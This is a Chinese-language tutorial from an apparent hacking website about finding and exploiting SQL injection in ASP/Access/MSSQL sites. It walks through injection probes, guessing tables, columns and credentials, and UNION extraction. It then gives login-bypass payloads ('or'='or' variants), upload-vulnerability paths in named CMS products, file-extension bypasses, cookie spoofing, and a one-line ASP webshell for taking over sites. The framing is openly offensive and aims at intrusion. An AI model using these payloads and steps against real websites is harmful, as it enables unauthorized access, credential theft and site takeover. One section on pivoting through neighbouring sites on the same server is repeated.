栏目

首页 首页 网站漏洞查看内容

数据库mssql注入点的判断及猜解

最近更新| 发布者: 站长-黑杰克| 查看: |

一、注入点的判断及猜解
1.加入单引号 ’提交,
 
结果:如果出现错误提示,则该网站可能就存在注入漏洞
 
2.数字型判断是否有注入;
 
语句:and 1=1 ;and 1=2 (经典)、' and '1'=1(字符型)
 
结果:分别返回不同的页面,说明存在注入漏洞.
 
分析:and 的意思是“和”如果没有过滤我们的语句,and 1=1就会被代入SQL查询语句进行查询,如果and前后的两条语句都是真的话就不会出错,但如果前后语句有一个为假的话,程序就会暴错。
 
也就表明程序有注入漏洞防注入解决办法:
 
1>使用or 2>1 ; or 1>2来进行判断
 
结果:分别返回不同的页面,说明存在注入漏洞.
 
分析:or注入只要求前后两个语句只要有一个正确就为真,如果前后两个语句都是正确的,反而为假。
 
记住:or注入时,or后面的语句如果是正确的,则返回错误页面!如果是错误,则返回正确页面,说明存在注入点。
 
2> 使用xor 1=1; xor 1=2
 
结果:分别返回不同的页面,说明存在注入漏洞.
 
分析:xor 代表着异或,意思即连接的表达式仅有一个为真的时候才为真。
 
记住:xor注入时,xor后面的语句如果是正确的,则返回错误页面积,如果是错误,则返回正确
 
页面,说明存在注入点。
 
3>把and 1=1转换成URL编码形式后在提交
 
and 1=1 URL编码:%41%4E%44%20%%31%3D%31
 
4>使用-1;-0
 
分析:如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在URL地址后面加上 -0,URL变成 news.asp?id=123-0,返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞.
 
3.字符型判断是否有注入:
 
语句:' and '1'=1;' and  '1=2(经典)
 
结果:结果:分别返回不同的页面,说明存在注入漏洞.
 
分析:加入' and '1'=1返回正确页面,加入' and  '1=2返回错误页面,说明有注入漏同。
 
防注入解决办法:
 
1>在URL的地址后面加上'%2B'(字符型)
 
分析:URL地址变为:news.asp?id=123'%2B',返回的页面和1同;加上'2%2B'asdf,URL地址变为:news.asp?id=123'%2Basdf,返回的页面和1不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。
 
4.搜索型判断是否有注入:
 
简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜索%,如果正常返回,说明95%有洞了。
 
说明:加入如"&;"、"["、"]"、"%"、"$"、"@"等特殊字符,都可以实现,如果出现错误,说明有问题操作:
 
搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。
关键字%' and 1=1 and '%'='%
关键字%' and 1=2 and '%'='%
将and 1=1 换成注入语句就可以了
 
5.判断数据库类型:and user>0  例如:showdetail.asp?id=49 ;and user>0 
如果是ACCESS数据库,那么返回的错误里一般会有"Microsoft JET Database"关键定,如果是MSSQL数据库的话返回的错误提示里一般会含有"SQL Server"关键了.
 
6.猜表名 and exists (select * from 表名)
 
说明:意思与上面一样,只是用的语名不一样。
 
7.猜列名 and (select count(列名) from 表名)>0
 
说明:如果我们输入的列名猜解正确否反回正常页面
 
8.猜长度 and (select top 1 len(username) from admin)>0
 
说明:如果我们输入的最后一位数据返回错误,而错误前一位数字返回正确,说明我所猜解的长度为正确。
 
9.猜内容 and (select top 1 asc(mid(username,1,1)) from admin)>50 ascii码1-128
 
说明:如果我们输入的最后一位数据返回错误,而错误前一位数字返回正确,说明我所猜解的数字
 
正确。(可以使用折半法猜内容)
 
折半法:最小值与最大值差的一半,比如输入50返正确,输入100返回错误,折半后输入75。
 
10.联合查询注入(union查询)
 
操作步骤:
 
1>在正常语句后台加入 and 1=2 union select * form 表名,其中*号代表字段数量,从1一直追加(and 1=2 union select 1,2,3,4 form 表名)如果字段数正确就会有暴错。
 
2>在页面显示数字的地方用真实得到的字段名代替,如:username,password.
 
3>在页面字段值处暴出真实的数据库字段值。
 
二、查找后台地址,找到后台用得到的用户管理员的帐户与密码进行登陆.
 
三、上传WEBSHELL
 
方法主要有:
 
1.上传漏洞: 如果看到:选择你要上传的文件 [重新上传]或者出现“请登陆后使用”,80%就有漏洞了! 有时上传不一定会成功,这是因为Cookies不一样.我们就要用WSockExpert取得Cookies.再用DOMAIN上传或是桂林老兵上传工具.
 
1>上传漏洞的文件
 
动网是upfile.asp。
 
动易是在upfile_soft.asp,(软件上传漏洞)upfile_softpic.asp(图片上传漏洞)
 
动感是在uploadflash.asp,upfile_flash.asp,利用抓包工具抓包得到cookies,再用   DOMAIN上传或是桂林老兵上传工具
 
2>添加上传类型
 
asa|asaspp
 
3>就是在上传时在后缀后面加空格或者加几点,也许也会有惊奇的发现。例:*.asp ,*.asp..。
 
4>上传图片文件木马,使用备份数据库得到asp文件
 
2.cookies欺骗
 
使用cookies可以达到让网站认识你的目的。但是如果cookies验证不足就会形成cookies欺骗。用到工具 桂林老兵cookies欺骗工具。
 
3.%5c暴库
 
把二级目录中间的/换成%5c EY:otherweb ... s.asp?BigClassName=职责范围&;BigClassType=1 如果你能看到:’E:\ahttc040901\otherweb\dz\database\iXuEr_Studio.asa’不是一个有效的 路径。 确定路径名称拼写是否正确,以及是否 连接到文件存放的服务器。 这样的就是数据库了。下载时用FLASHGET换成.MDB格式的就行
4.conn.asp暴库
 
这个也是比较老的漏洞,利用价值不大
 
5.'or'='or'万能密码登陆
  ’or’=’or’这是一个可以连接SQL的语名句.可以直接进入后台。我收集了一下。类似的还有 : 
  ’or’’=’ " or "a"="a ’) or (’a’=’a ") or ("a"="a or 1=1-- ’ or ’ a’=’a  
 
一个很老的利用方法,主要用于一些比较老的网站。
 
6.旁注,也就是跨站. 我们入侵某站时可能这个站坚固的无懈可击,我们可以找下和这个站同一服务器的站点,然后在利 用这个站点用提权,嗅探等方法来入侵我们 要入侵的站点。,在这里有个难点,就是一些服务器 的绝对路径经过加密,这就看我们的本事了 
 
7.写入ASP格式数据库。就是一句话木马[〈%execute request("value")%〉 ],常用在留言本. 如:这个就是ASP格式的数据库或者可以写入内容的ASP文件,如南方数据的系统配置],再写 入一句话木马.
 
8.旁注,也就是跨站. 我们入侵某站时可能这个站坚固的无懈可击,我们可以找下和这个站同一服务器的站点,然后在利 用这个站点用提权,嗅探等方法来入侵我们 要入侵的站点。,在这里有个难点,就是一些服务器 的绝对路径经过加密,这就看我们的本事了
 
四、整站利用
 
动网BBS 可以先用:dvbbs权限提升工具,使自已成为前台管理员。 THEN,运用:动网固顶贴工具,找个固顶贴,再取得COOKIES,这个要你自已做。我们可以用 WSockExpert取得Cookies/NC包 这个我就不做了,网上教程多的是,自已下个看看。     
 
工具:dvbbs权限提升工具 动网固顶贴工具
 
总结:
 
个人认为ACCESS网站注比不是很灵活,方法大家都知道,针对国内的网站来说大家可以到网站搜索网站是利用什么程序改过来的,我本人也是做网站的,现在一般都是利用已经存在的企业网站系统来进行修改。下一篇整理MSSQL注入方法,MSSQL注入十分的灵活,功能也特别强大.只要找到注入点,一般情况下是可以拿下来的。


文章由天启科技原创,抄袭必究,转载请注明:
本文地址:http://www.goodgoodhack.com/heikejishu/wangzhanloudong/2061.html
文章由天启科技站长黑杰克原创,免费学习黑客技术,业务联系站长QQ9326665

最新视频